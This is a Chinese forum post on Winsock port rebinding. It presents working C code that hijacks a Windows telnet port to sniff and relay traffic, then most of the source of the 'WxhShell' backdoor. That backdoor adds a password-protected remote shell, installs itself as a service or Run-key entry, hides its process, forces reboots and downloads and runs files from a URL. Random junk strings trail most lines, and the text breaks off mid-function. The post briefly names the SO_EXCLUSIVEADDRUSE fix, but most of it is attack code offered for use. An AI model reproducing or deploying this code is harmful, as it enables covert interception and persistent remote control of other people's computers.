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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V~dhTdQ5}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &4-;;h\H  
8 MO-QO  
  saddr.sin_family = AF_INET; v])ew|  
`> %QCc\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gE6'A  
A r!0GwE+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r'*$'QY-N  
w7@`:W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N#ggT9>X  
i3w~&y-  
  这意味着什么?意味着可以进行如下的攻击: ^{uHph9ny  
;?/5Mr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y$ jX  
I<#X#_YP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eNd&47lJ  
qzZ/%{Ak  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t<UJR*R=L  
V?M (exN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JVIFpN"`  
A08kwYxiW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X84T F~2Y  
=cEsv&i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3mHzOs\jU  
}b\hRy~=r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }nlS&gew^  
J%CCUl2  
  #include g!XC5*}  
  #include INA3^p'w  
  #include F^.A~{&L  
  #include    fbh,V%t7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NT+.E[J6  
  int main() =^KgNQ   
  { |6 Q5bV  
  WORD wVersionRequested; 8* A%k1+  
  DWORD ret; v@=qVwX  
  WSADATA wsaData; /JS_gr@DK  
  BOOL val; S9Sgd&a9  
  SOCKADDR_IN saddr; P P J^;s  
  SOCKADDR_IN scaddr; p^8a<e?f~f  
  int err; xxur4@p!  
  SOCKET s;  8oJl ]  
  SOCKET sc; [#Qf#T%5h  
  int caddsize; ;U=b 6xE  
  HANDLE mt; o-rX4=T  
  DWORD tid;   bG]0|  
  wVersionRequested = MAKEWORD( 2, 2 ); 1d< b\P0  
  err = WSAStartup( wVersionRequested, &wsaData ); % 6 *c40  
  if ( err != 0 ) { Z<;W*6J  
  printf("error!WSAStartup failed!\n"); N (4H}2  
  return -1; ~2Wus8X-  
  } #Nh'1@@  
  saddr.sin_family = AF_INET; EnWv9I<  
   )95k3xo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q\@Zf}  
yUnV%@.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7W)W9=&BT  
  saddr.sin_port = htons(23); dx@dnWRT,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &G"s !:  
  { /0/ouA>+  
  printf("error!socket failed!\n"); PZ|I3z  
  return -1; _^& q,S  
  } N-K/jY  
  val = TRUE; >=0]7k;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T_D3WHp  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _Q1p_sdg  
  { ^4fvV\ne_~  
  printf("error!setsockopt failed!\n"); +mWf$+w  
  return -1; @S@VsgQ%3Z  
  } h r];!.Fv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !.'D"Me>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xqX3uq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1'o[9-  
[h'u@%N|/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I D_4M_G  
  { 9295:Y| w1  
  ret=GetLastError(); DC h !Z{I  
  printf("error!bind failed!\n"); c]u ieig0~  
  return -1; tpGT~Y(  
  } ye.6tlW  
  listen(s,2); oks;G([  
  while(1) @%,~5{Ir  
  { on 7 n4  
  caddsize = sizeof(scaddr); I,hw0e  
  //接受连接请求 K%dQ; C*?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ],weqs  
  if(sc!=INVALID_SOCKET) a<&K^M&  
  { <G}Lc  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RvAgv[8  
  if(mt==NULL) or*{P=m+R  
  { gHPJiiCv  
  printf("Thread Creat Failed!\n"); Pg8.RvmQ  
  break; 4;AF\De  
  } o4" [{LyT  
  } &b|RoPV  
  CloseHandle(mt); m+!.H\  
  } J!l/.:`6  
  closesocket(s); DT`HS/~fH  
  WSACleanup(); ;}SGJ7  
  return 0; Ye3o}G9z  
  }   q? ">  
  DWORD WINAPI ClientThread(LPVOID lpParam) bh@CtnO  
  { 9I/l+IS"X  
  SOCKET ss = (SOCKET)lpParam; Es+I]o0K  
  SOCKET sc; (?Mn_FNE|  
  unsigned char buf[4096]; X\m\yv}}  
  SOCKADDR_IN saddr; (c[u_~ ;  
  long num; TX=894{nGh  
  DWORD val; _p6 r5Y  
  DWORD ret; K? o p3}f?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |aP`hVm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;d}>8w&tfy  
  saddr.sin_family = AF_INET; l6bY!I>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); EsKgS\`RZ  
  saddr.sin_port = htons(23); hV(^Y)f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z;G*wM"  
  { kf'(u..G  
  printf("error!socket failed!\n"); ESB^"|9  
  return -1; &)OI!^ (  
  } svmb~n&x6  
  val = 100; Ef`'r))  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ``CM7|)>`  
  { 7"'RE95  
  ret = GetLastError(); ~-k , $J?7  
  return -1; TnN yth wZ  
  } ]R""L<K%HF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P*!`AWn  
  { C~T ,[U  
  ret = GetLastError(); S'!&,Dxq^  
  return -1; ,y]-z8J  
  } C4(xtSJSd!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #$Zx].[lc  
  { , @jtD*c)  
  printf("error!socket connect failed!\n"); t}k:wzZ@  
  closesocket(sc); %Lh%bqGz  
  closesocket(ss); trDw|WA  
  return -1; Zp/+F(  
  } W!<7OA g$  
  while(1) 8e-nzc,]  
  { JlnmG<WLT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 82@^vX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 LY0f`RX*&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 EK4%4<"  
  num = recv(ss,buf,4096,0); |^-D&C(Eu  
  if(num>0) ,^G+<T6  
  send(sc,buf,num,0); ^<!R%"o-  
  else if(num==0) MZ}0.KmaZ  
  break; ^mq(j_E.  
  num = recv(sc,buf,4096,0); =W7-;&  
  if(num>0) i6HRG\9nU  
  send(ss,buf,num,0); \H .Cmm^I  
  else if(num==0) bRu 9*4t  
  break; ?+EAp"{j  
  } xF{%@t  
  closesocket(ss); F% n}vA`  
  closesocket(sc); m+XHFU  
  return 0 ; 4tkT\.  
  } -]^JaQw  
B]tj0FB`-*  
;-`NT` #2  
========================================================== KyrZ&E.`  
pG"wQ  
下边附上一个代码,,WXhSHELL ~T H4='4W3  
9xbT?$^  
========================================================== FQ 0&{ulb  
:oy2mi;  
#include "stdafx.h" X`_tm3HC  
u)Kiwa  
#include <stdio.h> jv.tg,c_6  
#include <string.h> 1av#u:jy~>  
#include <windows.h> 0]5X Tc3r  
#include <winsock2.h> =-Hhm($n  
#include <winsvc.h> >rlUV"8jY;  
#include <urlmon.h> s3sRMB2  
9^DAlY,x.  
#pragma comment (lib, "Ws2_32.lib") ,j XK  
#pragma comment (lib, "urlmon.lib") WD\Yx~o  
JYWoQ[ZO#>  
#define MAX_USER   100 // 最大客户端连接数 T/ECW  
#define BUF_SOCK   200 // sock buffer p^ (Z  
#define KEY_BUFF   255 // 输入 buffer _LZ(HTX~  
Lp-$Ie  
#define REBOOT     0   // 重启  [{2v}  
#define SHUTDOWN   1   // 关机 K 3\a~_0  
X~& 8^?  
#define DEF_PORT   5000 // 监听端口 `^/8dIya  
/>E ILPPb  
#define REG_LEN     16   // 注册表键长度 Ba?1q%eG  
#define SVC_LEN     80   // NT服务名长度 445JOP  
wtSU43D  
// 从dll定义API 3:Nc`tM_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,gk'8]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gjeb)Y6N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |_ED*ATR=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (hOD  
s:l H4B  
// wxhshell配置信息 ~x(|'`  
struct WSCFG { w tGS"L  
  int ws_port;         // 监听端口 :%9R&p:'ar  
  char ws_passstr[REG_LEN]; // 口令 41=H&G&  
  int ws_autoins;       // 安装标记, 1=yes 0=no G9-ETj}  
  char ws_regname[REG_LEN]; // 注册表键名 w_>\Yd[  
  char ws_svcname[REG_LEN]; // 服务名 W8QP6^lY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oJNQdW[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _R(ZvsOZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <D:q4t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;UXV!8SM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j]&Qai~}Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u~*A-X [  
Y$XzZ>VW  
}; h1 (i/{}:  
JtY$AP$  
// default Wxhshell configuration nygGI_[l  
struct WSCFG wscfg={DEF_PORT, UTE6U6  
    "xuhuanlingzhe", zd2_k 9  
    1, M/Z$?nd_H  
    "Wxhshell", TU)Pi.Aa  
    "Wxhshell", @su<_m6'  
            "WxhShell Service", b]?5r)GK  
    "Wrsky Windows CmdShell Service", g$C]ln>"9m  
    "Please Input Your Password: ", +d LUq2  
  1, ShVR{gIs  
  "http://www.wrsky.com/wxhshell.exe", N`7OJ)l  
  "Wxhshell.exe" e;~(7/1  
    }; ,&3+w ~Ua  
Y(`Bc8h  
// 消息定义模块 *YH!L{y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ):4)8@]5M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cQLPgE0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H0tu3Pqk  
char *msg_ws_ext="\n\rExit."; d , g~.iS~  
char *msg_ws_end="\n\rQuit."; %pWJ2J@  
char *msg_ws_boot="\n\rReboot..."; }R}M>^(R4  
char *msg_ws_poff="\n\rShutdown..."; O[$X36z  
char *msg_ws_down="\n\rSave to "; ?glx8@  
N:Q.6_%^  
char *msg_ws_err="\n\rErr!"; `L$Av9X\  
char *msg_ws_ok="\n\rOK!"; QZ(O2!Mg  
~sn3_6{  
char ExeFile[MAX_PATH]; NG3:=  
int nUser = 0; >A]l|#Rz  
HANDLE handles[MAX_USER]; Uu+ibVM$  
int OsIsNt; J ?aJa  
R`$jF\"`r  
SERVICE_STATUS       serviceStatus; X} V]3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~0024B[G  
 Q'cWqr  
// 函数声明 h`! 4`eI  
int Install(void); GGwwdB\x'  
int Uninstall(void); Yur}<>`(  
int DownloadFile(char *sURL, SOCKET wsh); D@ sMCR  
int Boot(int flag); 2\.23  
void HideProc(void); %.Btf3y~  
int GetOsVer(void); 2vB,{/GXP  
int Wxhshell(SOCKET wsl);  8zRw\]?  
void TalkWithClient(void *cs); 8?m=Vw<kIZ  
int CmdShell(SOCKET sock); ubZuvWZ  
int StartFromService(void); 4MDVR/Z7  
int StartWxhshell(LPSTR lpCmdLine); 'HfI~wN  
/QL<>g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cahlYv'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'bZw-t!M@  
m,hqq%qz  
// 数据结构和表定义 (W"0c?i|]  
SERVICE_TABLE_ENTRY DispatchTable[] = `_/1zL[  
{ H/[(T%]o  
{wscfg.ws_svcname, NTServiceMain}, 1Zk1!> ?  
{NULL, NULL} N1g;e?T ':  
}; k}kwr[  
hiVDN"$$  
// 自我安装 hx%UZ<a  
int Install(void) 0 )PZS>  
{ (?uK  
  char svExeFile[MAX_PATH]; aH%tD!%,o  
  HKEY key; .AX%6+o  
  strcpy(svExeFile,ExeFile); 8KP   
uCW}q.@4  
// 如果是win9x系统,修改注册表设为自启动 0V8G9Gj  
if(!OsIsNt) { Q$'\_zV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p}GTOJT}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JSh'iYJ .  
  RegCloseKey(key); *S <I!7Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >~_>.R+{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { ~{D(k  
  RegCloseKey(key); V^D 1:9i  
  return 0; xPT$d,~"  
    } p8F$vx4,  
  } V^.Z&7+E`_  
} 2&s(:=  
else { N/0Q`cQ-  
KVoi>?a   
// 如果是NT以上系统,安装为系统服务 )i39'0a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <;+QK=f  
if (schSCManager!=0) Lrx"Hn{  
{ RM2feWm  
  SC_HANDLE schService = CreateService } -hH2  
  ( \sVzBHy d  
  schSCManager, hI<$lEB  
  wscfg.ws_svcname, c&RiUU7  
  wscfg.ws_svcdisp, R 'mlKe x  
  SERVICE_ALL_ACCESS, RvVF^~u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @ *T8>  
  SERVICE_AUTO_START, 3e;K5qSeo/  
  SERVICE_ERROR_NORMAL, xU.Ymq& 5  
  svExeFile, aeLIs SEx  
  NULL, S +73 /Vs  
  NULL, bw#\"uJ  
  NULL, }LIf]Y K  
  NULL, 9% P$e=Ui#  
  NULL ONcS,oHW  
  ); -Vg0J6x  
  if (schService!=0) kmfz.:j{  
  { =>TXo@rVN  
  CloseServiceHandle(schService); ZZ0b!{qj3  
  CloseServiceHandle(schSCManager); C}XB%:5H5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K}S=f\Q]  
  strcat(svExeFile,wscfg.ws_svcname); +x:VIi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k8.,id  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c3Ig4n0Y>  
  RegCloseKey(key); }2?-kj7  
  return 0; giddM2'  
    } OJcI0(G  
  } g;3<oI/P  
  CloseServiceHandle(schSCManager); &19z|Id  
} ON_G D"  
} ]=0D~3o3  
+w3k_^X9c  
return 1; x4_FG{AIu  
} 7 Uu  
9JC8OSjJ  
// 自我卸载 !.{{QwZ  
int Uninstall(void) i6h0_q8 >  
{ 6ozBU^n  
  HKEY key; w$I$xup  
~Oj-W6-+&,  
if(!OsIsNt) { +qF,XJ2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9VTE?,  
  RegDeleteValue(key,wscfg.ws_regname); 3o__tU)B  
  RegCloseKey(key); ##NowO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @)@hzXQ  
  RegDeleteValue(key,wscfg.ws_regname); !.={p8X-x  
  RegCloseKey(key); CH h6Mnw  
  return 0; vr>Rd{dm  
  } dNs<`2m  
} KI<Vvc m  
} >\!>CuU  
else { }xzbg  
~hA;ji|I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oakm{I|k}  
if (schSCManager!=0) u"r1RG'  
{ _{?/4ZhA\+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sh5SOYLz  
  if (schService!=0) laFF/g;sRC  
  { h|=&a0  
  if(DeleteService(schService)!=0) { G Q+g.{c  
  CloseServiceHandle(schService); w.0]>/C  
  CloseServiceHandle(schSCManager); m`ab5<%Gn  
  return 0; (V~PYf%  
  } {?'c|\n Li  
  CloseServiceHandle(schService); W r;?t!  
  } p>]2o\["  
  CloseServiceHandle(schSCManager); &5wM`  
} R_DZJV O  
} j]_"MMwk$<  
%8GY`T:^  
return 1; s%qK<U4@;Q  
} ]+0I8eerd  
thSo,uGlW  
// 从指定url下载文件 )wY bcH  
int DownloadFile(char *sURL, SOCKET wsh) e_pyjaY!s  
{ M}6? |ir  
  HRESULT hr; B\!.o=<h  
char seps[]= "/"; u>-!5=D8  
char *token; 'xp&)g L  
char *file; Q|}Pc>ae  
char myURL[MAX_PATH]; Aa/lKiiz  
char myFILE[MAX_PATH]; lN^} qg><  
! =c&U.B  
strcpy(myURL,sURL); {utIaMb]&v  
  token=strtok(myURL,seps); nK9A=H'Hc  
  while(token!=NULL) 6|:]2S  
  { !23#Bz7  
    file=token; Y|iALrx  
  token=strtok(NULL,seps); W|kKH5E&  
  } rj].bGQ,+  
#nh;KlI 0  
GetCurrentDirectory(MAX_PATH,myFILE); K:eP Il{JE  
strcat(myFILE, "\\"); pb5'5X+  
strcat(myFILE, file);  Dy@f21+  
  send(wsh,myFILE,strlen(myFILE),0); *m sW4|=^2  
send(wsh,"...",3,0); D~Y 3\KP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xem:#>&r  
  if(hr==S_OK) bP 2IX  
return 0; "i1~YE  
else >m{)shBX  
return 1;  HRKe 7#e  
3E361?ubM  
} B/CP/Pfb  
;2;Kq)j_=  
// 系统电源模块 ' RjFWHAp  
int Boot(int flag) <4Jo1  
{ 8BZDaiE"  
  HANDLE hToken; 8V(#S :G35  
  TOKEN_PRIVILEGES tkp; Q04iuhDO:  
x+9aTsZ  
  if(OsIsNt) { Gx GZxf*(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %h%^i   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $u9y H Z  
    tkp.PrivilegeCount = 1; 8Mq] V v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G =+sW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L6O@q`\z  
if(flag==REBOOT) { bg)yl iX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9c1n  
  return 0; DPNUm<>  
} q*<Df=+B  
else { t$Z#zx X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !f \y3p*j  
  return 0; F3b[L^Km]  
} 0Kjm:x9T  
  } g<Sa{<0  
  else { .;n<k  
if(flag==REBOOT) { T%xB|^lf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zRJopcE<  
  return 0; :R<n{%~  
} iCIu]6  
else { z rt8ze=Su  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a-,BBM8|  
  return 0; @"H+QVJ@  
} P~:W+!@5v  
} xxm1Nog6  
fO.gfHI  
return 1; s]r"-^eS3  
} % ;2x.  
Nze#u;  
// win9x进程隐藏模块 #]|9aVrr  
void HideProc(void) ge[+/$(1  
{ S3Tww]q  
d*T;RBk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CBTa9|57  
  if ( hKernel != NULL ) q7wd96G:  
  { d]k >7.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uM0 z%z5b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F[c;iM(^  
    FreeLibrary(hKernel); n}yqpW!%n  
  } q"A(l  
;#!`c gAh  
return; lFD$ Mc  
} +aV>$Y  
^m{kn8  
// 获取操作系统版本 !+T+BFw.  
int GetOsVer(void) |_%|  
{ xUzSS@ot^  
  OSVERSIONINFO winfo; kO\(6f2|x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JF_\A)<ki  
  GetVersionEx(&winfo); 5HioxHL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t_WNEZW7f  
  return 1; oG5JJpLT  
  else PZR pH  
  return 0; 3Cwqy#X#8  
} VWmZ|9Ri  
o;\0xuM@  
// 客户端句柄模块 2HMlh.R(C  
int Wxhshell(SOCKET wsl) ?PSm) ~ Oa  
{ rBkf@  
  SOCKET wsh; Q4Q*5>  
  struct sockaddr_in client; 'j!7 O+7y  
  DWORD myID; kN;l@>  
*Rj>// A  
  while(nUser<MAX_USER) (9$/r/-a  
{ 8sg8gBt  
  int nSize=sizeof(client); . dVo[m;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JB'q_dS}  
  if(wsh==INVALID_SOCKET) return 1; r%$-F2.p  
>)U 7$<&b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v/Z}|dT"  
if(handles[nUser]==0) NwuME/C7#  
  closesocket(wsh); dLal 15Pb  
else ~c`@uGw  
  nUser++; ![:S~x1  
  } 6,0pkx&Nv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ."PR Z,  
;vF8V`f   
  return 0; "a6 wd  
} }O@S ;[v S  
wr8n*Du  
// 关闭 socket %dS7u$Rnh  
void CloseIt(SOCKET wsh) (ZjIwA9>  
{ ?Gj$$IAe  
closesocket(wsh); .7Ys@;>B  
nUser--; @=b0>^\m  
ExitThread(0); As1Er[>  
} aM3%Mx?w  
f| 3`8JU  
// 客户端请求句柄 =2)5_/9au  
void TalkWithClient(void *cs) r&xqsZ%R  
{ Z.:5< oEKg  
Yk:fV&]  
  SOCKET wsh=(SOCKET)cs; 5}~*,_J2Z  
  char pwd[SVC_LEN]; 3. Qf^p  
  char cmd[KEY_BUFF]; <h U ZD;  
char chr[1]; _$wWKJy9  
int i,j; i?'HVx  
* C~  
  while (nUser < MAX_USER) { 23y7l=.b/  
djPr 4Nog  
if(wscfg.ws_passstr) { sxO_K^eD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rNqJL_!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nV McHN   
  //ZeroMemory(pwd,KEY_BUFF); HQaKG4Z  
      i=0; =5%jKHo+9z  
  while(i<SVC_LEN) { ~5`rv1$  
g 6>R yjN  
  // 设置超时 }`IN5NdYp  
  fd_set FdRead; A`=ESz  
  struct timeval TimeOut; 27E6S)zv  
  FD_ZERO(&FdRead); p2!x8`IB*  
  FD_SET(wsh,&FdRead); . %tc7`k8  
  TimeOut.tv_sec=8; ).N}x^  
  TimeOut.tv_usec=0; TpZ) wC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8:L%-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W&z.O  
>?b/_O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wv ,F>5P  
  pwd=chr[0]; A T+|}B!  
  if(chr[0]==0xd || chr[0]==0xa) { }9:\#  
  pwd=0; gO4J[_  
  break; X+P& up06  
  } E` XUK,b  
  i++; A]BG*  
    } . ~G>vVb  
h}z^NX  
  // 如果是非法用户,关闭 socket w^p 'D{{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0d`s(b54;O  
} =35EG{W(  
#TZYe4#f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8_Y{7;<ey  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >B skw2  
'8i np[_  
while(1) { Kdx?s;i  
,, ]y 8P  
  ZeroMemory(cmd,KEY_BUFF); tV*g1)'zX  
}.o rfW  
      // 自动支持客户端 telnet标准   zL3~,z/o  
  j=0; (LTm!"Q  
  while(j<KEY_BUFF) { U&wVe$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %=S^{A  
  cmd[j]=chr[0]; ;r^8In@6  
  if(chr[0]==0xa || chr[0]==0xd) { 6g@j,iFy  
  cmd[j]=0; ^z9ITGB~tV  
  break; l0tMdsz  
  } h k(2,z  
  j++; V{{b^y  
    } wRnt$ 1  
e0j*e7$  
  // 下载文件 ` B : Ydf  
  if(strstr(cmd,"http://")) { g?^o++  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HP. j.  
  if(DownloadFile(cmd,wsh)) 6;I&{9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pL.r 9T.  
  else S<88>|&n]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nypa,_9}  
  } f*1.Vg0`-  
  else { H:,rNaz7D^  
jp=^$rS6[  
    switch(cmd[0]) { x?va26FV  
  bH3-#mw5w  
  // 帮助 ?%;7k'0"  
  case '?': { .9lx@6]+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]#j]yGV  
    break; Rw^4S@~T  
  } '2uQ  
  // 安装 `-]*Qb+  
  case 'i': { f@[q# }6  
    if(Install()) ]*%0CDY6`N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ct|iZLh`j  
    else # T$^{/J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ls5|4%+&  
    break; 3)atqM)i  
    } %:N5k+}  
  // 卸载 L:XnW 1(Or  
  case 'r': { oSx]wZZ  
    if(Uninstall()) $khWu>b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y''`73U"  
    else p8%x@%k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FGzB7w#  
    break; ojT TYR{  
    } ~U~KUL|  
  // 显示 wxhshell 所在路径 rzLpVpTaz  
  case 'p': { Y71io^td~j  
    char svExeFile[MAX_PATH]; \[B5j0vV,  
    strcpy(svExeFile,"\n\r"); &P&M6v+  
      strcat(svExeFile,ExeFile); ,l&Dt,  
        send(wsh,svExeFile,strlen(svExeFile),0); hG uRV|`  
    break; HB||'gIC  
    } flVQG@  
  // 重启 p#qQGJe  
  case 'b': { #=OKY@z/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]A5FN4 E  
    if(Boot(REBOOT)) $*H_0wQc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pLDseEr<  
    else { {" Van,w  
    closesocket(wsh); QyJ}zwD  
    ExitThread(0); ucL}fnY1  
    } .,o=#  
    break;  J5*krH2i  
    }  pzg|?U  
  // 关机 "n}J6   
  case 'd': { )ra_`Qdcf  
